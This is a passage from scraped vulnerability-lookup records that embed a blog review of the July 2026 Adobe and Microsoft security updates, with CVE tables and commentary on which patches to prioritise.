EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:22.632168Z"}, {"uuid": "7796a83e-b61b-4139-891a-42fe04e7269a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54999", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n 